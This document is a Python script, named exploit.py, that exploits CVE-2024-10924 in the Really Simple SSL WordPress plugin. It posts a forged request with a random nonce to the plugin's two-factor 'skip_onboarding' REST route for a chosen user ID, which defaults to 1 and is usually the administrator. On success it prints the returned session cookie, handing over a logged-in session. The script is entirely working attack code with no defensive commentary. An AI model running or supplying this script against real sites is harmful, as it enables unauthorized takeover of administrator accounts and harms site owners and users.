exploit.py

import argparse
from validator_collection import checkers
import requests
import random

def main():
    # Argument parsing
    parser = argparse.ArgumentParser(description='Exploit for CVE-2024-10924')
    parser.add_argument('-id', type=int, help='User ID (optional)', default=None)
    parser.add_argument('url', type=str, help='URL of the target')

    args = parser.parse_args()
    id = args.id or 1
    url = args.url

    # Argument validation
    if not url:
        print('URL is required.')
        return
    
    if not url.endswith("/"):
        url = f"{url}/"
    
    if not checkers.is_url(url):
        print(f'Invalid URL. {url}')
        return
    
    # Exploit
    success, response = send_request(url, id)
    if success:
        print('Exploit successful.\n')
        print('-' * 50)
        print(response)
        print('-' * 50)
    else:
        print(response)
    

def send_request(url: str, id: int) -> tuple:
    """
    Send POST request to target WordPress.
    """
    url = f"{url}?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding"

    headers = {
        'Content-Type': 'application/json'
    }

    data = {
        'user_id': id,
        'login_nonce': str(random.randint(1000000000, 9999999999)),
        "redirect_to": "/wp-admin/"
    }

    response = requests.post(url, headers=headers, json=data, verify=False)
    if response.status_code == 200 and response.headers['Set-Cookie'] is not None and "redirect_to" in response.text and "=deleted;" not in response.headers['Set-Cookie']:
        return True, response.headers['Set-Cookie']

    return False, "Exploit failed. Maybe the target is not vulnerable or the user ID is incorrect."

if __name__ == "__main__":
    main()